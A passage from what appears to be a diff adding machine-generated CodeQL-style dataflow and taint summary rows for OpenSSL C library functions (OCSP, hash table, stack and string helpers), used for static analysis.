**,stack_st_X509 *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "OCSP_resp_get0_signer", "(OCSP_BASICRESP *,X509 **,stack_st_X509 *)", "", "Argument[*2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "OCSP_resp_get0_signer", "(OCSP_BASICRESP *,X509 **,stack_st_X509 *)", "", "Argument[*2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "OCSP_resp_get0_tbs_sigalg", "(const OCSP_BASICRESP *)", "", "Argument[*0].Field[*signatureAlgorithm]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OCSP_resp_get1_id", "(const OCSP_BASICRESP *,ASN1_OCTET_STRING **,X509_NAME **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "OCSP_resp_get1_id", "(const OCSP_BASICRESP *,ASN1_OCTET_STRING **,X509_NAME **)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "OCSP_response_create", "(int,OCSP_BASICRESP *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "OCSP_response_create", "(int,OCSP_BASICRESP *)", "", "Argument[0]", "ReturnValue[*].Field[**responseStatus].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "OCSP_response_status", "(OCSP_RESPONSE *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OCSP_sendreq_bio", "(BIO *,const char *,OCSP_REQUEST *)", "", "Argument[*2]", "Argument[2]", "value", "df-generated"] + - ["", "", True, "OCSP_sendreq_new", "(BIO *,const char *,const OCSP_REQUEST *,int)", "", "Argument[*0]", "ReturnValue[*].Field[**rbio]", "value", "dfc-generated"] + - ["", "", True, "OCSP_sendreq_new", "(BIO *,const char *,const OCSP_REQUEST *,int)", "", "Argument[*0]", "ReturnValue[*].Field[**wbio]", "value", "dfc-generated"] + - ["", "", True, "OCSP_sendreq_new", "(BIO *,const char *,const OCSP_REQUEST *,int)", "", "Argument[*2]", "Argument[2]", "value", "df-generated"] + - ["", "", True, "OCSP_sendreq_new", "(BIO *,const char *,const OCSP_REQUEST *,int)", "", "Argument[0]", "ReturnValue[*].Field[*rbio]", "value", "dfc-generated"] + - ["", "", True, "OCSP_sendreq_new", "(BIO *,const char *,const OCSP_REQUEST *,int)", "", "Argument[0]", "ReturnValue[*].Field[*wbio]", "value", "dfc-generated"] + - ["", "", True, "OCSP_sendreq_new", "(BIO *,const char *,const OCSP_REQUEST *,int)", "", "Argument[3]", "ReturnValue[*].Field[*buf_size]", "value", "dfc-generated"] + - ["", "", True, "OCSP_single_get0_status", "(OCSP_SINGLERESP *,int *,ASN1_GENERALIZEDTIME **,ASN1_GENERALIZEDTIME **,ASN1_GENERALIZEDTIME **)", "", "Argument[*0]", "Argument[**3]", "taint", "df-generated"] + - ["", "", True, "OCSP_single_get0_status", "(OCSP_SINGLERESP *,int *,ASN1_GENERALIZEDTIME **,ASN1_GENERALIZEDTIME **,ASN1_GENERALIZEDTIME **)", "", "Argument[*0]", "Argument[**4]", "taint", "df-generated"] + - ["", "", True, "OCSP_single_get0_status", "(OCSP_SINGLERESP *,int *,ASN1_GENERALIZEDTIME **,ASN1_GENERALIZEDTIME **,ASN1_GENERALIZEDTIME **)", "", "Argument[*0]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "OCSP_single_get0_status", "(OCSP_SINGLERESP *,int *,ASN1_GENERALIZEDTIME **,ASN1_GENERALIZEDTIME **,ASN1_GENERALIZEDTIME **)", "", "Argument[*0]", "Argument[*4]", "taint", "df-generated"] + - ["", "", True, "OCSP_single_get0_status", "(OCSP_SINGLERESP *,int *,ASN1_GENERALIZEDTIME **,ASN1_GENERALIZEDTIME **,ASN1_GENERALIZEDTIME **)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OCSP_url_svcloc_new", "(const X509_NAME *,const char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OCSP_url_svcloc_new", "(const X509_NAME *,const char **)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "OCSP_url_svcloc_new", "(const X509_NAME *,const char **)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "OCSP_url_svcloc_new", "(const X509_NAME *,const char **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "OPENSSL_DIR_end", "(OPENSSL_DIR_CTX **)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "OPENSSL_DIR_read", "(OPENSSL_DIR_CTX **,const char *)", "", "Argument[**0].Field[*entry_name]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OPENSSL_DIR_read", "(OPENSSL_DIR_CTX **,const char *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "OPENSSL_INIT_set_config_appname", "(OPENSSL_INIT_SETTINGS *,const char *)", "", "Argument[*1]", "Argument[*0].Field[**appname]", "value", "dfc-generated"] + - ["", "", True, "OPENSSL_INIT_set_config_appname", "(OPENSSL_INIT_SETTINGS *,const char *)", "", "Argument[1]", "Argument[*0].Field[**appname]", "taint", "dfc-generated"] + - ["", "", True, "OPENSSL_INIT_set_config_file_flags", "(OPENSSL_INIT_SETTINGS *,unsigned long)", "", "Argument[1]", "Argument[*0].Field[*flags]", "value", "dfc-generated"] + - ["", "", True, "OPENSSL_INIT_set_config_filename", "(OPENSSL_INIT_SETTINGS *,const char *)", "", "Argument[*1]", "Argument[*0].Field[**filename]", "value", "dfc-generated"] + - ["", "", True, "OPENSSL_INIT_set_config_filename", "(OPENSSL_INIT_SETTINGS *,const char *)", "", "Argument[1]", "Argument[*0].Field[**filename]", "taint", "dfc-generated"] + - ["", "", True, "OPENSSL_LH_delete", "(OPENSSL_LHASH *,const void *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OPENSSL_LH_delete", "(OPENSSL_LHASH *,const void *)", "", "Argument[*0]", "ReturnValue[**]", "taint", "df-generated"] + - ["", "", True, "OPENSSL_LH_delete", "(OPENSSL_LHASH *,const void *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "OPENSSL_LH_doall_arg_thunk", "(OPENSSL_LHASH *,OPENSSL_LH_DOALL_FUNCARG_THUNK,OPENSSL_LH_DOALL_FUNCARG,void *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "OPENSSL_LH_error", "(OPENSSL_LHASH *)", "", "Argument[*0].Field[*error]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OPENSSL_LH_get_down_load", "(const OPENSSL_LHASH *)", "", "Argument[*0].Field[*down_load]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OPENSSL_LH_insert", "(OPENSSL_LHASH *,void *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OPENSSL_LH_insert", "(OPENSSL_LHASH *,void *)", "", "Argument[*0]", "ReturnValue[**]", "taint", "df-generated"] + - ["", "", True, "OPENSSL_LH_insert", "(OPENSSL_LHASH *,void *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "OPENSSL_LH_new", "(OPENSSL_LH_HASHFUNC,OPENSSL_LH_COMPFUNC)", "", "Argument[0]", "ReturnValue[*].Field[*hash]", "value", "dfc-generated"] + - ["", "", True, "OPENSSL_LH_new", "(OPENSSL_LH_HASHFUNC,OPENSSL_LH_COMPFUNC)", "", "Argument[1]", "ReturnValue[*].Field[*comp]", "value", "dfc-generated"] + - ["", "", True, "OPENSSL_LH_num_items", "(const OPENSSL_LHASH *)", "", "Argument[*0].Field[*num_items]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OPENSSL_LH_retrieve", "(OPENSSL_LHASH *,const void *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OPENSSL_LH_retrieve", "(OPENSSL_LHASH *,const void *)", "", "Argument[*0]", "ReturnValue[**]", "taint", "df-generated"] + - ["", "", True, "OPENSSL_LH_retrieve", "(OPENSSL_LHASH *,const void *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "OPENSSL_LH_set_down_load", "(OPENSSL_LHASH *,unsigned long)", "", "Argument[1]", "Argument[*0].Field[*down_load]", "value", "dfc-generated"] + - ["", "", True, "OPENSSL_LH_set_thunks", "(OPENSSL_LHASH *,OPENSSL_LH_HASHFUNCTHUNK,OPENSSL_LH_COMPFUNCTHUNK,OPENSSL_LH_DOALL_FUNC_THUNK,OPENSSL_LH_DOALL_FUNCARG_THUNK)", "", "Argument[*0]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OPENSSL_LH_set_thunks", "(OPENSSL_LHASH *,OPENSSL_LH_HASHFUNCTHUNK,OPENSSL_LH_COMPFUNCTHUNK,OPENSSL_LH_DOALL_FUNC_THUNK,OPENSSL_LH_DOALL_FUNCARG_THUNK)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OPENSSL_LH_set_thunks", "(OPENSSL_LHASH *,OPENSSL_LH_HASHFUNCTHUNK,OPENSSL_LH_COMPFUNCTHUNK,OPENSSL_LH_DOALL_FUNC_THUNK,OPENSSL_LH_DOALL_FUNCARG_THUNK)", "", "Argument[1]", "Argument[*0].Field[*hashw]", "value", "dfc-generated"] + - ["", "", True, "OPENSSL_LH_set_thunks", "(OPENSSL_LHASH *,OPENSSL_LH_HASHFUNCTHUNK,OPENSSL_LH_COMPFUNCTHUNK,OPENSSL_LH_DOALL_FUNC_THUNK,OPENSSL_LH_DOALL_FUNCARG_THUNK)", "", "Argument[1]", "ReturnValue[*].Field[*hashw]", "value", "dfc-generated"] + - ["", "", True, "OPENSSL_LH_set_thunks", "(OPENSSL_LHASH *,OPENSSL_LH_HASHFUNCTHUNK,OPENSSL_LH_COMPFUNCTHUNK,OPENSSL_LH_DOALL_FUNC_THUNK,OPENSSL_LH_DOALL_FUNCARG_THUNK)", "", "Argument[2]", "Argument[*0].Field[*compw]", "value", "dfc-generated"] + - ["", "", True, "OPENSSL_LH_set_thunks", "(OPENSSL_LHASH *,OPENSSL_LH_HASHFUNCTHUNK,OPENSSL_LH_COMPFUNCTHUNK,OPENSSL_LH_DOALL_FUNC_THUNK,OPENSSL_LH_DOALL_FUNCARG_THUNK)", "", "Argument[2]", "ReturnValue[*].Field[*compw]", "value", "dfc-generated"] + - ["", "", True, "OPENSSL_LH_set_thunks", "(OPENSSL_LHASH *,OPENSSL_LH_HASHFUNCTHUNK,OPENSSL_LH_COMPFUNCTHUNK,OPENSSL_LH_DOALL_FUNC_THUNK,OPENSSL_LH_DOALL_FUNCARG_THUNK)", "", "Argument[3]", "Argument[*0].Field[*daw]", "value", "dfc-generated"] + - ["", "", True, "OPENSSL_LH_set_thunks", "(OPENSSL_LHASH *,OPENSSL_LH_HASHFUNCTHUNK,OPENSSL_LH_COMPFUNCTHUNK,OPENSSL_LH_DOALL_FUNC_THUNK,OPENSSL_LH_DOALL_FUNCARG_THUNK)", "", "Argument[3]", "ReturnValue[*].Field[*daw]", "value", "dfc-generated"] + - ["", "", True, "OPENSSL_LH_set_thunks", "(OPENSSL_LHASH *,OPENSSL_LH_HASHFUNCTHUNK,OPENSSL_LH_COMPFUNCTHUNK,OPENSSL_LH_DOALL_FUNC_THUNK,OPENSSL_LH_DOALL_FUNCARG_THUNK)", "", "Argument[4]", "Argument[*0].Field[*daaw]", "value", "dfc-generated"] + - ["", "", True, "OPENSSL_LH_set_thunks", "(OPENSSL_LHASH *,OPENSSL_LH_HASHFUNCTHUNK,OPENSSL_LH_COMPFUNCTHUNK,OPENSSL_LH_DOALL_FUNC_THUNK,OPENSSL_LH_DOALL_FUNCARG_THUNK)", "", "Argument[4]", "ReturnValue[*].Field[*daaw]", "value", "dfc-generated"] + - ["", "", True, "OPENSSL_LH_strhash", "(const char *)", "", "Argument[*0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "OPENSSL_LH_strhash", "(const char *)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "OPENSSL_asc2uni", "(const char *,int,unsigned char **,int *)", "", "Argument[*0]", "Argument[**2]", "value", "dfc-generated"] + - ["", "", True, "OPENSSL_asc2uni", "(const char *,int,unsigned char **,int *)", "", "Argument[*0]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OPENSSL_asc2uni", "(const char *,int,unsigned char **,int *)", "", "Argument[0]", "Argument[**2]", "taint", "dfc-generated"] + - ["", "", True, "OPENSSL_asc2uni", "(const char *,int,unsigned char **,int *)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "OPENSSL_asc2uni", "(const char *,int,unsigned char **,int *)", "", "Argument[1]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "OPENSSL_buf2hexstr", "(const unsigned char *,long)", "", "Argument[*0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "OPENSSL_buf2hexstr", "(const unsigned char *,long)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "OPENSSL_buf2hexstr_ex", "(char *,size_t,size_t *,const unsigned char *,size_t,const char)", "", "Argument[*3]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "OPENSSL_buf2hexstr_ex", "(char *,size_t,size_t *,const unsigned char *,size_t,const char)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "OPENSSL_buf2hexstr_ex", "(char *,size_t,size_t *,const unsigned char *,size_t,const char)", "", "Argument[3]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "OPENSSL_buf2hexstr_ex", "(char *,size_t,size_t *,const unsigned char *,size_t,const char)", "", "Argument[4]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "OPENSSL_buf2hexstr_ex", "(char *,size_t,size_t *,const unsigned char *,size_t,const char)", "", "Argument[5]", "Argument[*0]", "value", "dfc-generated"] + - ["", "", True, "OPENSSL_gmtime", "(const time_t *,tm *)", "", "Argument[*1]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OPENSSL_gmtime", "(const time_t *,tm *)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OPENSSL_gmtime_adj", "(tm *,int,long)", "", "Argument[1]", "Argument[*0].Field[*tm_mday]", "taint", "dfc-generated"] + - ["", "", True, "OPENSSL_gmtime_adj", "(tm *,int,long)", "", "Argument[1]", "Argument[*0].Field[*tm_mon]", "taint", "dfc-generated"] + - ["", "", True, "OPENSSL_gmtime_adj", "(tm *,int,long)", "", "Argument[1]", "Argument[*0].Field[*tm_year]", "taint", "dfc-generated"] + - ["", "", True, "OPENSSL_gmtime_diff", "(int *,int *,const tm *,const tm *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "OPENSSL_gmtime_diff", "(int *,int *,const tm *,const tm *)", "", "Argument[*2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "OPENSSL_gmtime_diff", "(int *,int *,const tm *,const tm *)", "", "Argument[*3]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "OPENSSL_gmtime_diff", "(int *,int *,const tm *,const tm *)", "", "Argument[*3]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "OPENSSL_sk_deep_copy", "(const OPENSSL_STACK *,OPENSSL_sk_copyfunc,OPENSSL_sk_freefunc)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "OPENSSL_sk_deep_copy", "(const OPENSSL_STACK *,OPENSSL_sk_copyfunc,OPENSSL_sk_freefunc)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "OPENSSL_sk_deep_copy", "(const OPENSSL_STACK *,OPENSSL_sk_copyfunc,OPENSSL_sk_freefunc)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "OPENSSL_sk_delete", "(OPENSSL_STACK *,int)", "", "Argument[1]", "Argument[*0].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "OPENSSL_sk_delete", "(OPENSSL_STACK *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "OPENSSL_sk_delete_ptr", "(OPENSSL_STACK *,const void *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OPENSSL_sk_delete_ptr", "(OPENSSL_STACK *,const void *)", "", "Argument[*0]", "ReturnValue[**]", "taint", "df-generated"] + - ["", "", True, "OPENSSL_sk_delete_ptr", "(OPENSSL_STACK *,const void *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "OPENSSL_sk_dup", "(const OPENSSL_STACK *)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "OPENSSL_sk_dup", "(const OPENSSL_STACK *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "OPENSSL_sk_dup", "(const OPENSSL_STACK *)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "OPENSSL_sk_find", "(OPENSSL_STACK *,const void *)", "", "Argument[*0].Field[*data]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "OPENSSL_sk_find", "(OPENSSL_STACK *,const void *)", "", "Argument[*0].Field[*num]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "OPENSSL_sk_find_all", "(OPENSSL_STACK *,const void *,int *)", "", "Argument[*0].Field[*data]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "OPENSSL_sk_find_all", "(OPENSSL_STACK *,const void *,int *)", "", "Argument[*0].Field[*num]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "OPENSSL_sk_find_ex", "(OPENSSL_STACK *,const void *)", "", "Argument[*0].Field[*data]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "OPENSSL_sk_find_ex", "(OPENSSL_STACK *,const void *)", "", "Argument[*0].Field[*num]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "OPENSSL_sk_insert", "(OPENSSL_STACK *,const void *,int)", "", "Argument[*1]", "Argument[*0].Field[***data]", "value", "dfc-generated"] + - ["", "", True, "OPENSSL_sk_insert", "(OPENSSL_STACK *,const void *,int)", "", "Argument[1]", "Argument[*0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "OPENSSL_sk_insert", "(OPENSSL_STACK *,const void *,int)", "", "Argument[2]", "Argument[*0].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "OPENSSL_sk_is_sorted", "(const OPENSSL_STACK *)", "", "Argument[*0].Field[*sorted]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OPENSSL_sk_new", "(OPENSSL_sk_compfunc)", "", "Argument[0]", "ReturnValue[*].Field[*comp]", "value", "dfc-generated"] + - ["", "", True, "OPENSSL_sk_new_reserve", "(OPENSSL_sk_compfunc,int)", "", "Argument[0]", "ReturnValue[*].Field[*comp]", "value", "dfc-generated"] + - ["", "", True, "OPENSSL_sk_new_reserve", "(OPENSSL_sk_compfunc,int)", "", "Argument[1]", "ReturnValue[*].Field[*num_alloc]", "taint", "dfc-generated"] + - ["", "", True, "OPENSSL_sk_num", "(const OPENSSL_STACK *)", "", "Argument[*0].Field[*num]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OPENSSL_sk_pop", "(OPENSSL_STACK *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OPENSSL_sk_pop", "(OPENSSL_STACK *)", "", "Argument[*0]", "ReturnValue[**]", "taint", "df-generated"] + - ["", "", True, "OPENSSL_sk_pop", "(OPENSSL_STACK *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "OPENSSL_sk_push", "(OPENSSL_STACK *,const void *)", "", "Argument[*1]", "Argument[*0].Field[***data]", "value", "dfc-generated"] + - ["", "", True, "OPENSSL_sk_push", "(OPENSSL_STACK *,const void *)", "", "Argument[1]", "Argument[*0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "OPENSSL_sk_reserve", "(OPENSSL_STACK *,int)", "", "Argument[1]", "Argument[*0].Field[*num_alloc]", "taint", "dfc-generated"] + - ["", "", True, "OPENSSL_sk_set", "(OPENSSL_STACK *,int,const void *)", "", "Argument[*2]", "Argument[*0].Field[***data]", "value", "dfc-generated"] + - ["", "", True, "OPENSSL_sk_set", "(OPENSSL_STACK *,int,const void *)", "", "Argument[*2]", "ReturnValue[**]", "taint", "dfc-generated"] + - ["", "", True, "OPENSSL_sk_set", "(OPENSSL_STACK *,int,const void *)", "", "Argument[*2]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OPENSSL_sk_set", "(OPENSSL_STACK *,int,const void *)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "OPENSSL_sk_set", "(OPENSSL_STACK *,int,const void *)", "", "Argument[2]", "Argument[*0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "OPENSSL_sk_set", "(OPENSSL_STACK *,int,const void *)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OPENSSL_sk_set", "(OPENSSL_STACK *,int,const void *)", "", "Argument[2]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "OPENSSL_sk_set_cmp_func", "(OPENSSL_STACK *,OPENSSL_sk_compfunc)", "", "Argument[*0].Field[*comp]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OPENSSL_sk_set_cmp_func", "(OPENSSL_STACK *,OPENSSL_sk_compfunc)", "", "Argument[1]", "Argument[*0].Field[*comp]", "value", "dfc-generated"] + - ["", "", True, "OPENSSL_sk_set_thunks", "(OPENSSL_STACK *,OPENSSL_sk_freefunc_thunk)", "", "Argument[*0]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OPENSSL_sk_set_thunks", "(OPENSSL_STACK *,OPENSSL_sk_freefunc_thunk)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OPENSSL_sk_set_thunks", "(OPENSSL_STACK *,OPENSSL_sk_freefunc_thunk)", "", "Argument[1]", "Argument[*0].Field[*free_thunk]", "value", "dfc-generated"] + - ["", "", True, "OPENSSL_sk_set_thunks", "(OPENSSL_STACK *,OPENSSL_sk_freefunc_thunk)", "", "Argument[1]", "ReturnValue[*].Field[*free_thunk]", "value", "dfc-generated"] + - ["", "", True, "OPENSSL_sk_shift", "(OPENSSL_STACK *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OPENSSL_sk_shift", "(OPENSSL_STACK *)", "", "Argument[*0]", "ReturnValue[**]", "taint", "df-generated"] + - ["", "", True, "OPENSSL_sk_shift", "(OPENSSL_STACK *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "OPENSSL_sk_unshift", "(OPENSSL_STACK *,const void *)", "", "Argument[*1]", "Argument[*0].Field[***data]", "value", "dfc-generated"] + - ["", "", True, "OPENSSL_sk_unshift", "(OPENSSL_STACK *,const void *)", "", "Argument[1]", "Argument[*0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "OPENSSL_sk_value", "(const OPENSSL_STACK *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "OPENSSL_strcasecmp", "(const char *,const char *)", "", "Argument[*0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "OPENSSL_strcasecmp", "(const char *,const char *)", "", "Argument[*1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "OPENSSL_strcasecmp", "(const char *,const char *)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "OPENSSL_strcasecmp", "(const char *,const char *)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "OPENSSL_strlcat", "(char *,const char *,size_t)", "", "Argument[*1]", "Argument[*0]", "value", "dfc-generated"] + - ["", "", True, "OPENSSL_strlcat", "(char *,const char *,size_t)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "OPENSSL_strlcat", "(char *,const char *,size_t)", "", "Argument[1]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "OPENSSL_strlcpy", "(char *,const char *,size_t)", "", "Argument[*1]", "Argument[*0]", "value", "dfc-generated"] + - ["", "", True, "OPENSSL_strlcpy", "(char *,const char *,size_t)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "OPENSSL_strlcpy", "(char *,const char *,size_t)", "", "Argument[1]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "OPENSSL_strncasecmp", "(const char *,const char *,size_t)", "", "Argument[*0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "OPENSSL_strncasecmp", "(const char *,const char *,size_t)", "", "Argument[*1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "OPENSSL_strncasecmp", "(const char *,const char *,size_t)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "OPENSSL_strncasecmp", "(const char *,const char *,size_t)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "OPENSSL_strnlen", "(const char *,size_t)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "OPENSSL_strtoul", "(const char *,char **,int,unsigned long *)", "", "Argument[*0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "OPENSSL_strtoul", "(const char *,char **,int,unsigned long *)", "", "Argument[*0]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "OPENSSL_strtoul", "(const char *,char **,int,unsigned long *)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "OPENSSL_strtoul", "(const char *,char **,int,unsigned long *)", "", "Argument[0]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "OPENSSL_uni2asc", "(const unsigned char *,int)", "", "Argument[*0]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OPENSSL_uni2asc", "(const unsigned char *,int)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "OPENSSL_uni2utf8", "(const unsigned char *,int)", "", "Argument[*0]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OPENSSL_uni2utf8", "(const unsigned char *,int)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "OPENSSL_utf82uni", "(const char *,int,unsigned char **,int *)", "", "Argument[*0]", "Argument[**2]", "value", "dfc-generated"] + - ["", "", True, "OPENSSL_utf82uni", "(const char *,int,unsigned char **,int *)", "", "Argument[*0]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OPENSSL_utf82uni", "(const char *,int,unsigned char **,int *)", "", "Argument[0]", "Argument[**2]", "taint", "dfc-generated"] + - ["", "", True, "OPENSSL_utf82uni", "(const char *,int,unsigned char **,int *)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "OPENSSL_utf82uni", "(const char *,int,unsigned char **,int *)", "", "Argument[1]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_AA_DIST_POINT_free", "(OSSL_AA_DIST_POINT *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_AA_DIST_POINT_free", "(OSSL_AA_DIST_POINT *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_ALLOWED_ATTRIBUTES_CHOICE_free", "(OSSL_ALLOWED_ATTRIBUTES_CHOICE *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_ALLOWED_ATTRIBUTES_CHOICE_free", "(OSSL_ALLOWED_ATTRIBUTES_CHOICE *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_ALLOWED_ATTRIBUTES_ITEM_free", "(OSSL_ALLOWED_ATTRIBUTES_ITEM *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_ALLOWED_ATTRIBUTES_ITEM_free", "(OSSL_ALLOWED_ATTRIBUTES_ITEM *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_ALLOWED_ATTRIBUTES_SYNTAX_free", "(OSSL_ALLOWED_ATTRIBUTES_SYNTAX *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_ALLOWED_ATTRIBUTES_SYNTAX_free", "(OSSL_ALLOWED_ATTRIBUTES_SYNTAX *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_ATAV_free", "(OSSL_ATAV *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_ATAV_free", "(OSSL_ATAV *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_ATTRIBUTES_SYNTAX_free", "(OSSL_ATTRIBUTES_SYNTAX *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_ATTRIBUTES_SYNTAX_free", "(OSSL_ATTRIBUTES_SYNTAX *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_ATTRIBUTE_DESCRIPTOR_free", 